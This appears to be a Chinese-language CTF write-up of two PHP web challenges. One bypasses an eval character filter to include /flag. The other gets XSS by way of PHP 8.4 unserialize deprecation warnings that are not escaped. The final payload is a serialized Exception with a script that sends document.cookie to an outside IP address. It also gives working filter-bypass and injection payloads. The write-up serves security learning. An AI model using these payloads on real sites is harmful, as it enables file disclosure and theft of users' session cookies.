文章目录
-
-
- Evalgelist
- [Silent Profit(复现)](#Silent Profit(复现))
-
Evalgelist
php
<?php
if (isset($_GET['input'])) {
echo '<div class="output">';
$filtered = str_replace(['$', '(', ')', '`', '"', "'", "+", ":", "/", "!", "?"], '', $_GET['input']);
$cmd = $filtered . '();';
echo '<strong>After Security Filtering:</strong> <span class="filtered">' . htmlspecialchars($cmd) . '</span>' . "\n\n";
echo '<strong>Execution Result:</strong>' . "\n";
echo '<div style="border-left: 3px solid #007bff; padding-left: 15px; margin-left: 10px;">';
try {
ob_start();
eval($cmd);
$result = ob_get_clean();
if (!empty($result)) {
echo '<span class="success">✅ Function executed successfully!</span>' . "\n";
echo htmlspecialchars($result);
} else {
echo '<span class="success">✅ Function executed (no output)</span>';
}
} catch (Error $e) {
echo '<span class="error">❌ Error: ' . htmlspecialchars($e->getMessage()) . '</span>';
} catch (Exception $e) {
echo '<span class="error">❌ Exception: ' . htmlspecialchars($e->getMessage()) . '</span>';
}
echo '</div>';
echo '</div>';
}
?>
没有过滤;
, 可以执行多条语句
在php中,未被双引号包裹的字符串会被定义为常量,若是找不到这个常量就会被自动转化成字符串
include
在包含文件的时候会查找include_path
环境变量中的路径,一般就是 .:/usr/local/lib/php
.
-> 当前目录 , /usr/local/lib/php
->系统 PEAR 库路径
所以可以通过include 文件名;die
来读取当前目录的文件
比如我在当前目录新建一个flag的文件,include flag
就可以读取这个文件的内容,虽然会有警告,但是依然会往下执行
(如果文件里面符合php的语法,也会当成php文件进行执行)
因为没有引号包裹的原因,是无法读取像 index.php
的这种文件的,这种文件会被当成两个字符串通过.
进行拼接,也就是会去查找indexphp
这个文件名
flag在/flag
下,但是/
被过滤了,无法直接include /flag
读取文件
不过就算
/
没被过滤,好像也不能直接通过include /flag
进行读取
所以就需要想办法拼接一个/flag
php中存在一个常量DIRECTORY_SEPARATOR
可以表示/
, 通过.
进行拼接就可以得到/flag
构造payload:include DIRECTORY_SEPARATOR.flag;die

Silent Profit(复现)
bot.js
js
const express = require('express');
const puppeteer = require('puppeteer');
const app = express();
app.use(express.urlencoded({ extended: false }));
const flag = process.env['FLAG'] ?? 'flag{test_flag}';
const PORT = process.env?.BOT_PORT || 31337;
app.post('/report', async (req, res) => {
const { url } = req.body;
if (!url || !url.startsWith('http://challenge/')) {
return res.status(400).send('Invalid URL');
}
try {
console.log(`[+] Visiting: ${url}`);
const browser = await puppeteer.launch({
headless: 'new',
args: [
'--no-sandbox',
'--disable-setuid-sandbox',
]
});
await browser.setCookie({ name: 'flag', value: flag, domain: 'challenge' });
const page = await browser.newPage();
await page.goto(url, { waitUntil: 'networkidle2', timeout: 5000 });
await page.waitForNetworkIdle({timeout: 5000})
await browser.close();
res.send('URL visited by bot!');
} catch (err) {
console.error(`[!] Error visiting URL:`, err);
res.status(500).send('Bot error visiting URL');
}
});
app.get('/', (req, res) => {
res.send(`
<h2>XSS Bot</h2>
<form method="POST" action="/report">
<input type="text" name="url" value="http://challenge/?data=..." style="width: 500px;" />
<button type="submit">Submit</button>
</form>
`);
});
app.listen(PORT, () => {
console.log(`XSS bot running at port ${PORT}`);
});
index.php
php
<?php
show_source(__FILE__);
unserialize($_GET['data']);
只有这两行代码去实现反序列化,想要实现xss
的攻击,肯定是需要控制信息显示在浏览器上面
题目环境是php8.4
,所以可能就是这个版本有关于unserialize
函数的报错的相关修改
PHP 8.1 新引入的 enum
枚举序列化格式,传入一个enum
对象的错误格式,会发现可以控制部分报错信息显示到浏览器上面

试着传入一个xss的payload, 但是浏览器好像并没有解析,没有弹窗

因为常规的错误信息输出函数(如php_error_docref
)会对输出进行HTML转义,所以无法直接触发XSS。
所以需要寻找一个在反序列化过程中触发的、且不会对输出进行HTML转义的错误
PHP 8.2 开始禁止动态创建类中未定义的属性,当尝试设置动态属性的时候就会触发一个弃用的警告,并且会显示出属性名
此警告通过
zend_error()
输出,不会进行 HTML 转义
这样我们就可以通过控制属性名来进行xss了
添加一个test
类进行测试
反序列化时添加一个动态的属性aa
,就会发现这个属性名被回显到里浏览器上面

将其替换成xss的payload,发现可以弹窗

那么只需要找一个php的内置类,并且是可序列化的,动态添加属性进行报错就行了
这样的类有很多,可以用Exception
来构造
O:9:"Exception":1:{s:25:"<script>alert(1)</script>";i:2;}

最终的payload:
url=http://challenge/?data=O:9:"Exception":1:{s:74:"<script>fetch(`http://8.154.17.163:8080?flag=${document.cookie}`)</script>";i:2;}

参考文章
https://baozongwi.xyz/2025/07/05/R3CTF2025/
https://qiita.com/singetu0096/items/65621ba135544e262518